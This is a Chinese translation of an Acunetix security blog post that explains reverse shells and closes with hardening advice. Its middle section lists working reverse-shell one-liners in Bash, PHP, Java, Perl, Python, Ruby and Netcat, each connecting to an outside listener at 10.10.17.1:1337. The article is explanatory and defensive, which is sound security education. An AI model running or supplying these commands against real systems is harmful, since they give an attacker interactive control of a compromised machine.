介绍反弹
shell
的原理,列举各种创建反弹shell
的方法,以及防护建议。译自https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
要控制一个被入侵系统,攻击者经常希望获取一个交互式的shell
访问执行任意命令。通过这种访问,他们可以提升权限来控制整个操作系统。不过,大多系统都在防火墙后面,直接远程的shell
连接是不可能的。其中一种突破这种限制的方法是反弹shell
。
shell
如何工作一个典型远程访问场景,用户是客户端,目标机器是服务端。用户发起一个远程shell
连接,目标系统监听这样的连接。在反弹shell
,这样角色倒换过来,目标机器发起连接到用户,用户电脑在特定端口监听连接。
攻击者经常使用反弹shell
的主要原因是,大多数防火墙是可配置的。被攻击服务器经常允许在某些端口连接。比如,一个专用的web服务器只会接受从80,443的连接,意味着无法在被攻击服务器建立shell
的连接监听。另一方面,防火墙却不限制出口连接。由此,一个攻击者可以在自己机器建立一个服务器来创建反向连接。一个攻击者只需要一台有公网IP的机器和一个可以创建shell
监听的工具,如netcat
。
shell
例子使用各种工具或语言来创建反弹shell
是一件很简单的事情。首先,你需要在有公网IP的机器创建一个监听服务。比如在Linux下,你可以用netcat
这样做
ncat -l -p 1337
假设你的机器是10.10.17.1,监听在1337 TCP端口。
下面都是一句话在目标机器创建反弹shell
Bash
反弹shell
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
PHP
反弹`shellphp -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Java
反弹shell
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Perl
反弹shell
perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby
反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
或
ruby -rsocket -e'f=TCPSocket.open("10.10.17.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
shell
请详见这个列表https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
通常,反弹shell
本身不是恶意的,也可以用于合法目的,例如,用于远程服务器管理。如果不需要使用反弹shell
,可以尝试限制创建它们的可能性,但这非常困难:
您可以对外连实施严格控制。但是,这仅适用于非常专业的服务器。而且没有任何东西可以阻止攻击者在公共端口(如80)上打开监听程序。在这种情况下,还必须监视所有连接的内容。
您可以禁用大多数创建反弹shell的工具,但同样,这仅适用于非常专用的服务器。正如您在上面看到的,可以使用不同的工具和语言创建反弹
shell`。因此,您可能会使攻击者更加困难,但并非不可能。
即使您成功避免了反弹shell
,攻击者也可以使用其他方法来建立对系统的控制。例如,在某些情况下,他们可能会使用web shell
。反弹shell
本身始终是某种其他类型攻击的结果,例如SQL注入攻击。因此,避免反弹shell
的最好方法是首先防范允许获得Shell
访问权限的攻击。
请关注
暗号:be4f1